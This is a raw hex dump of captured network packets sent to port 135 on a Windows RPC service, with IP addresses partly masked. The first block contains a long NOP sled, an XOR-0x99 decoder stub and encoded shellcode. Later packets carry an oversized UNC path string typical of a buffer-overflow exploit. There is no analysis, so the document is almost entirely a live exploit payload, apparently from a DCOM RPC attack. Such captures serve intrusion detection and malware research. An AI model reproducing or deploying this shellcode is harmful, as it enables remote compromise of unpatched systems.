0x02e0 800e e94a 9999 f18a 506f 7a85 0200 0000 ...J....Poz.....
0x02f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0300 0000 0000 0100 0000 0110 0800 cccc cccc ................
0x0310 3000 0000 7800 6e00 0000 0000 d8da 0d00 0...x.n.........
0x0320 0000 0000 0000 0000 202f 0c00 0000 0000 ........./......
0x0330 0000 0000 0300 0000 0000 0000 0300 0000 ................
0x0340 4600 5800 0000 0000 0110 0800 cccc cccc F.X.............
0x0350 1000 0000 3000 2e00 0000 0000 0000 0000 ....0...........
0x0360 0000 0000 0000 0000 0110 0800 cccc cccc ................
0x0370 6800 0000 0e00 ffff 688b 0b00 0200 0000 h.......h.......
0x0380 0000 0000 0000 0000 8601 0000 0000 0000 ................
0x0390 8601 0000 5c00 5c00 4600 5800 4e00 4200 ....\.\.F.X.N.B.
0x03a0 4600 5800 4600 5800 4e00 4200 4600 5800 F.X.F.X.N.B.F.X.
0x03b0 4600 5800 4600 5800 4600 5800 9d13 0001 F.X.F.X.F.X.....
0x03c0 cce0 fd7f cce0 fd7f 9090 9090 9090 9090 ................
0x03d0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x03e0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x03f0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0400 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0410 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0420 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0430 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0440 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0450 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0460 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0470 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0480 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0490 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04a0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04b0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04c0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04d0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04e0 9090 9090 9090 9090 9090 9090 9090 eb10 ................
0x04f0 5a4a 33c9 66b9 7601 8034 0a99 e2fa eb05 ZJ3.f.v..4......
0x0500 e8eb ffff ff70 6199 9999 c321 9569 64e6 .....pa....!.id.
0x0510 1299 12e9 8534 12d9 9112 4112 eaa5 9a6a .....4....A....j
0x0520 12ef e19a 6a12 e7b9 9a62 12d7 8daa 74cf ....j....b....t.
0x0530 cec8 12a6 9a62 126b f397 c06a 3fed 91c0 .....b.k...j?...
0x0540 c61a 5e9d dc7b 70c0 c6c7 1254 12df bd9a ..^..{p....T....
0x0550 5a48 789a 58aa 50ff 1291 12df 859a 5a58 ZHx.X.P.......ZX
0x0560 789b 9a58 1299 9a5a 1263 126e 1a5f 9712 x..X...Z.c.n._..
0x0570 49f3 9ac0 71ed 9999 991a 5f94 cbcf 66ce I...q....._...f.
0x0580 65c3 1241 f39a c071 f899 9999 1a75 dd12 e..A...q.....u..
0x0590 6df3 89c0 109d 177b 62c9 c9c9 c9f3 98f3 m......{b.......
0x05a0 9b66 ce6d 1241 10c7 a110 c7a5 10c7 d9ff .f.m.A..........
0x05b0 5edf b598 9814 de89 c9cf aa59 c9c9 c9f3 ^..........Y....
0x05c0 98c9 c914 cea5 5e9b faf4 fd99 cbc9 66ce ......^.......f.
0x05d0 715e 9e9b 999b 5a5e de9d 1993 q^....Z^....
07:06:42.022379 XXX.X.XX.120.2565 > XX.XX.XX.220.135: P 1533:1777(244) ack 61
win 17460 (DF)
0x0000 4500 011c 1e91 4000 8006 c0db 800a 097f E.....@.........
0x0010 800a 10dc 0a05 0087 bb47 bb6f 172a dff6 .........G.o.*..
0x0020 5018 4434 7528 0000 90e6 f389 ceca 66ce P.D4u(........f.
0x0030 61ca 66ce 65c9 66ce 75aa 5935 1c59 ec60 a.f.e.f.u.Y5.Y.`
0x0040 c8cb cfca 664b c3c0 327b 77aa 595a 719a ....fK..2{w.YZq.
0x0050 6666 66de fced c9eb f6fa d8fd fdeb fcea fff.............
0x0060 ea99 daeb fcf8 edfc c9eb f6fa fcea ead8 ................
0x0070 99dc e1f0 edcd f1eb fcf8 fd99 d5f6 f8fd ................
0x0080 d5f0 fbeb f8eb e0d8 99ee eaab c6aa ab99 ................
0x0090 ceca d8ca f6fa f2fc edd8 99fa f6f7 f7fc ................
0x00a0 faed 99fa f5f6 eafc eaf6 faf2 fced 9900 ................
0x00b0 5c00 4300 2400 5c00 3100 3200 3300 3400 \.C.$.\.1.2.3.4.
0x00c0 3500 3600 3100 3100 3100 3100 3100 3100 5.6.1.1.1.1.1.1.
0x00d0 3100 3100 3100 3100 3100 3100 3100 3100 1.1.1.1.1.1.1.1.
0x00e0 3100 2e00 6400 6f00 6300 0000 0110 0800 1...d.o.c.......
0x00f0 cccc cccc 2000 0000 3000 2d00 0000 0000 ........0.-.....
0x0100 882a 0c00 0200 0000 0100 0000 288c 0c00 .*..........(...
0x0110 0100 0000 0700 0000 0000 0000 ............
07:06:42.022382 XXX.X.XX.120.2565 > XX.XX.XX.220.135: P 1533:1777(244) ack 61
win 17460 (DF)
0x0000 4500 011c 1e91 4000 8006 c0db 800a 097f E.....@.........
0x0010 800a 10dc 0a05 0087 bb47 bb6f 172a dff6 .........G.o.*..
0x0020 5018 4434 7528 0000 90e6 f389 ceca 66ce P.D4u(........f.
0x0030 61ca 66ce 65c9 66ce 75aa 5935 1c59 ec60 a.f.e.f.u.Y5.Y.`
0x0040 c8cb cfca 664b c3c0 327b 77aa 595a 719a ....fK..2{w.YZq.
0x0050 6666 66de fced c9eb f6fa d8fd fdeb fcea fff.............
0x0060 ea99 daeb fcf8 edfc c9eb f6fa fcea ead8 ................
0x0070 99dc e1f0 edcd f1eb fcf8 fd99 d5f6 f8fd ................
0x0080 d5f0 fbeb f8eb e0d8 99ee eaab c6aa ab99 ................
0x0090 ceca d8ca f6fa f2fc edd8 99fa f6f7 f7fc ................
0x00a0 faed 99fa f5f6 eafc eaf6 faf2 fced 9900 ................
0x00b0 5c00 4300 2400 5c00 3100 3200 3300 3400 \.C.$.\.1.2.3.4.
0x00c0 3500 3600 3100 3100 3100 3100 3100 3100 5.6.1.1.1.1.1.1.
0x00d0 3100 3100 3100 3100 3100 3100 3100 3100 1.1.1.1.1.1.1.1.
0x00e0 3100 2e00 6400 6f00 6300 0000 0110 0800 1...d.o.c.......
0x00f0 cccc cccc 2000 0000 3000 2d00 0000 0000 ........0.-.....
0x0100 882a 0c00 0200 0000 0100 0000 288c 0c00 .*..........(...
0x0110 0100 0000 0700 0000 0000 0000 ............
07:06:42.029821 XX.XX.XX.220.135 > XXX.X.XX.120.2565: . ack 1777 win 17520 (DF)
0x0000 4500 0028 57d9 4000 7f06 8987 800a 10dc E..(W.@.........
0x0010 800a 097f 0087 0a05 172a dff6 bb47 bc63 .........*...G.c
0x0020 5010 4470 d79c 0000 0000 08c7 2eb8 P.Dp..........
07:06:42.030593 XX.XX.XX.220.135 > XXX.X.XX.120.2565: P 61:101(40) ack 1777 win
17520 (DF)
0x0000 4500 0050 57da 4000 7f06 895e 800a 10dc E..PW.@....^....
0x0010 800a 097f 0087 0a05 172a dff6 bb47 bc63 .........*...G.c
0x0020 5018 4470 95e8 0000 0500 0203 1000 0000 P.Dp............
0x0030 2800 0000 e500 0000 1000 0000 0100 0000 (...............
0x0040 0000 0000 0000 0000 0000 0000 0400 0880 ................
07:06:42.031369 XXX.X.XX.120.2565 > XX.XX.XX.220.135: F 1777:1777(0) ack 101
win 17420 (DF)
0x0000 4500 0028 1e92 4000 8006 c1ce 800a 097f E..(..@.........
0x0010 800a 10dc 0a05 0087 bb47 bc63 172a e01e .........G.c.*..
0x0020 5011 440c d7d7 0000 aaaa aaaa aaaa P.D...........
07:06:42.031380 XXX.X.XX.120.2565 > XX.XX.XX.220.135: F 1777:1777(0) ack 101
win 17420 (DF)
0x0000 4500 0028 1e92 4000 8006 c1ce 800a 097f E..(..@.........
0x0010 800a 10dc 0a05 0087 bb47 bc63 172a e01e .........G.c.*..
0x0020 5011 440c d7d7 0000 aaaa aaaa aaaa P.D...........
07:06:42.033750 XX.XX.XX.220.135 > XXX.X.XX.120.2565: . ack 1778 win 17520 (DF)
0x0000 4500 0028 57db 4000 7f06 8985 800a 10dc E..(W.@.........
0x0010 800a 097f 0087 0a05 172a e01e bb47 bc64 .........*...G.d
0x0020 5010 4470 d773 0000 0204 05b4 0101 P.Dp.s........
07:06:42.033815 XX.XX.XX.220.135 > XXX.X.XX.120.2565: F 101:101(0) ack 1778 win
17520 (DF)
0x0000 4500 0028 57dc 4000 7f06 8984 800a 10dc E..(W.@.........
0x0010 800a 097f 0087 0a05 172a e01e bb47 bc64 .........*...G.d
0x0020 5011 4470 d772 0000 14ff 2800 0000 P.Dp.r....(...
07:06:42.034938 XXX.X.XX.120.2565 > XX.XX.XX.220.135: . ack 102 win 17420 (DF)
0x0000 4500 0028 1e93 4000 8006 c1cd 800a 097f E..(..@.........
0x0010 800a 10dc 0a05 0087 bb47 bc64 172a e01f .........G.d.*..
0x0020 5010 440c d7d6 0000 aaaa aaaa aaaa P.D...........
07:06:42.034949 XXX.X.XX.120.2565 > XX.XX.XX.220.135: . ack 102 win 17420 (DF)
0x0000 4500 0028 1e93 4000 8006 c1cd 800a 097f E..(..@.........
0x0010 800a 10dc 0a05 0087 bb47 bc64 172a e01f .........G.d.*..
0x0020 5010 440c d7d6 0000 aaaa aaaa aaaa P.D...........